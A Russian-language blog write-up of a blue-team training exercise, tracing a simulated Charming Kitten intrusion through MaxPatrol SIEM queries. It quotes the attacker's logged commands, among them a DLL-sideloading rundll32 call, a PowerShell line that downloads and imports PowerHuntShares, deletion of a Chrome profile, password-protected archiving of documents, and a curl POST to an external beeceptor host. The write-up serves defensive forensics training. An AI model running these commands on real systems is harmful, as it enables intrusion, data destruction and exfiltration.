Всем привет! Недавно закрылось расследование атаки APT-группировки Charming Kitten с онлайн марафона, который проходил на онлайн-полигоне Standoff Defend, созданный для тренировки синих команд. Сейчас я бы хотел показать решение и полную цепочку, которую нужно было составить
EpsYlon Solutions
Компания является ведущим поставщиком интегрированных IT-решений, которые позволяют клиентам эффективно реализовывать сложные проекты в сфере информационных технологий, учитывая особенности их отрасли. Именно эта компания подверглась атаке.
С полным описанием инфраструктуры компании вы можете познакомиться тут
Charming Kitten APT
Ближневосточная кибергруппировка (предположительно, прогосударственная) смогла добраться до целевого устройства и провести тщательную разведку. Мы зафиксировали подозрительную активность на этапе коммуникации с управляющим сервером. Попробуйте разобраться, что удалось украсть преступникам.
Группировка часто эксплуатирует недавно обнаруженные уязвимости (N-day), такие как Log4j, в комплексных атаках. У нее есть несколько подгрупп, одна из которых — Nemesis Kitten (DEV-0270, Storm-0270)
Знакомство с SIEM и тем как расследовать
Как провести расследование?
Нам дан MaxPatrol SIEM.
Форматы ввода:
Для IP-адреса: только цифры и точки (xxx.xxx.xxx.xxx). Пример: 192.168.1.1, 10.0.0.25
Для FQDN (Fully Qualified Domain Name): доменное имя в формате host.example.com (без http://, https:// или пробелов). Пример: server01.corp.local, proxy.company.org
Стоит также познакомится с языком запросов, который используется в SIEM - это язык PDQL (Positive Data Query Language). А также изучить инструкцию по созданию отчета
Го расследовать
Первые шаги
Вводные данные: В папке C:\Users\Public найден архив с названием Documents.7z. Есть подозрение, что кто-то проводил эксфильтрацию данных на рабочей станции tmorgan.bureau.stf.
Атака произошла 11.03.2025.
Для начала поставим нужное время в SIEM

Соберем данные:
папка и файл: C:\Users\Public\Documents.7z
рабочая станция: tmorgan.bureau.stf (10.130.24.199)
скорее всего для разархивирования будет использован 7z
Строим первый запрос:
event_src.host = "tmorgan.bureau.stf" AND subject.process.name = "7z.exe" OR object.process.name = "7z.exe"
Первое, что мы находим это алерт 17:08:26 "User ptadmin started suspicious process 7z.exe on host tmorgan.bureau.stf"
Смотрим на артефакты и на таблицу заполнение отчета о расследовании атаки.
При выборе типа артефакта необходимо использовать таблицу приоритетов, приведенную ниже. Приоритетные типы расположены в верхней части таблицы, менее приоритетные — в нижней.

Первое что мы выделим это абсолютный путь (а именно с C:\Users\Public\Documents.7z), потому что ни URL, ни взаимодействия с реестром пока что не было, ip адрес мог быть если бы этот Documents.7z откуда-нибудь скачивался, но такого не было.

Рассмотрим поподробнее саму команду, которая стригерила 7z.exe (это будет полеobject.process.cmdline)
7z a -t7z -pp@ss -r0 C:\Users\Public\Documents.7z C:\Users\Public\DocumentsКоманда добавила в архив Documents.7z с паролем p@ss все файлы из директории C:\Users\Public\Documents
Пойдем более выше: рассмотрим подробнее команды, которые были выполнены над папкой Documents
event_src.host = "tmorgan.bureau.stf" AND object.process.cmdline contains "Documents"
Еще с первого запроса я заметил странный чейн (Цепочки порождения процессов) у всех событий, так что я выделил это поле как отдельный столбец
Тщательнее рассмотрев события над папкой Documents, становиться ясно, что
16:17:11
cmd.exe ← rundll32.exe ← agent.exe:cmd.exe /c dir & del /q Documents & cd Documents & mkdir NewFolder16:23:57
исполнение скрипт блоковpowerhuntshares.psm117:08:26
cmd.exe ← rundll32.exe ← agent.exe:cmd.exe /c echo password: p@ss & 7z a -t7z -pp@ss -r0 %PUBLIC%\Documents.7z %PUBLIC%\Documentsиз которой получилось событие с чейном 7z.exe ← cmd.exe ← rundll32.exe ← agent.exe7z a -t7z -pp@ss -r0 C:\Users\Public\Documents.7z C:\Users\Public\Documents
т.е. то, что мы нашли выше - это середина инцидента. Предположительно, все началось с какого-то процесса agent.exe. Нужно постепенно дойти до него.
Спускаемся вниз
Смотрим сначала, где у нас используется строка "agent"
event_src.host = "tmorgan.bureau.stf" AND object.process.cmdline contains "agent"
15:40:09 agent.exe исполняет команду
rundll32.exe "C:\Program Files\Standoff\Agent\archer_toxic.windows_mHh1BcR.dll",sideloading_dispatcher -t de6be34b-ea8a-4198-b3bf-14a91e5362a9 -c 10.130.24.199
Видим, что используется инструмент Archer Toxic
Посмотрим еще более глобально с помощью фильтра "body contains" (на самом деле мой любимый фильтр, но с ним нужно быть осторожнее, потому что если событий много, то можно не дожаться отвата, а худшем случае положить сервер)
event_src.host = "tmorgan.bureau.stf" AND body contains "agent.exe"
Можем предположить, что agent.exe запустился примерно в 14:47:58, после чего rundll32.exe открыл соединение для злоумышленника.
Продолжаем
Теперь пора выстроить всю цепочку действий
14:47:58 tcp конекты от
agent.exe15:40:08 Процесс agent.exe создал файл
archer_toxic.windows_mhh1bcr.dllна хостеtmorgan.bureau.stf(c:\program files\standoff\agent\archer_toxic.windows_mhh1bcr.dll)15:40:09 видно использование инструмента archer toxic
rundll32.exe "C:\Program Files\Standoff\Agent\archer_toxic.windows_mHh1BcR.dll",sideloading_dispatcher -t de6be34b-ea8a-4198-b3bf-14a91e5362a9 -c 10.130.24.19915:40:10 старт tcp коннектов
15:45:50 исполне��а команда
cmd.exe /c whoami

15:50:31
cmd.exe /c net view & ping -n 1 8.8.8.815:50:31
net view15:52:18
cmd.exe /C "net share > network_shares.txt"

net share16:00:59
cmd.exe /c hostname16:17:11
cmd.exe /c dir & del /q Documents & cd Documents & mkdir NewFolder16:23:51 попытка скачать и запустить скрипт
powerhuntshares.psm1на хосте tmorgan.bureau.stfpowershell.exe -Command " Set-ExecutionPolicy -Scope Process Bypass -Force ; Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1' -OutFile PowerHuntShares.psm1 ; Import-Module .\PowerHuntShares.psm1" ; Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:/temp/test16:23:57 скриптблоки
powerhuntshares.psm1выполнены16:39:43 обнаружена попытка запроса к реестру на хосте tmorgan.bureau.stf
cmd.exe /c "reg query HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths > typed_paths.txt"16:47:13 попытка запустить скрипт
security_software_discovery.vbsна хосте tmorgan.bureau.stfcmd.exe /c cscript security_software_discovery.vbs16:58:54
cmd.exe /c cd "%LOCALAPPDATA%\Google\Chrome\User Data" & rd /s /q Default17:08:21 процесс
agent.exeсоздал файл7z.dllна хосте tmorgan.bureau.stf17:08:26 Юзер ptadmin запустил процесс 7z.exe на хосте tmorgan.bureau.stf
7z a -t7z -pp@ss -r0 C:\Users\Public\Documents.7z C:\Users\Public\Documents+ процесс 7z.exe загрузил библитеку 7z.dll на хосте tmorgan.bureau.stf, Пользователь ptadmin запустил вредоносный код, разместив файл библиотеки 7z.dll рядом с легитимным приложением 7z.exe и запустив это приложение.Попытка нарушения безопасности со стороны пользователя ptadmin, запустившего процесс rundll32.exe и создавшего файл
7z.dllна хосте tmorgan.bureau.stf.
Рис 9. События с 7z.exe 17:19:06
cmd.exe /c curl -X POST -d "id=123" -d "command=get" https://testtest.free.beeceptor.com --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
17:19:09 IP-адреса для хоста
testtest.free.beeceptor.comна хосте tmorgan.bureau.stf определен как159.89.140.12217:21:52 процесс
agent.exeсоздал файлstandard_encoding.ps1на хосте tmorgan.bureau.stf17:21:53
standard_encoding.ps1выполнен
Рис 10. Начало скрипта standard_encoding.ps117:21:55
IP-адреса для хостаstandardenc.free.beeceptor.com- 159.89.140.122
Как выстраивался чейн
Несколько техник, которыми я воспользовался, чтобы выстроить всю цепочку:
Следование по чейну через id процессов
Здесь и тут более подробно по этой темеЧейн процесса - это вещь вида "rundll32.exe ← agent.exe". Чаще всего она оставалась такой и хакер делал все свои действия из нее. При использовании какой-нибудь утилиты чейн расширялся. К примеру вот:

Рис 11. Пример расширение чейна 
Рис 12. Использование object.process.idЕсли мы нашли процесс только с чейном "hostname.exe ← cmd.exe ← rundll32.exe ← agent.exe",

Рис 13. пример object.process.idиobject.process.parent.idто смогли бы перейти к родительскому процессу, найдя
object.process.parent.id:884. Потом просто создаем фильтр и получаем все команды, исполненные из родительского:event_src.host = "tmorgan.bureau.stf" AND object.process.id = 884каждая команда запускалась без
-WindowStyle Hidden, поэтому она "прикреплялась" к еще одному процессу - созданию окна выполнения команды

conhost.exeХорошим советом будет пользоваться корреляцией
убираем tcp конекты, когда мешают с помощью
object != "connection",curl обращается в интернет, а это значит нельзя забывать про dns запросы при обращении на какие-то ресурсы (ip адрес как артефакт)
Пользоваться таблицей приоритетов
Все шаги расследования и результаты

Сначала я думал что нужно выстраивать шаги с самого начала атаки, но потом разобрался, что подходит любой - главное чтобы он был правильным

Вполне себе неплохая атака из 12 шагов, подкрепил знания продукта MP SIEM от позитивов.
Также кому интересно у меня есть небольшой склад заметок в основном по вебу и форензике, но иногда и другим категориям с CTF. Чуть-чуть про багбаунти (надеюсь будет больше) - https://t.me/Fastyyy_bio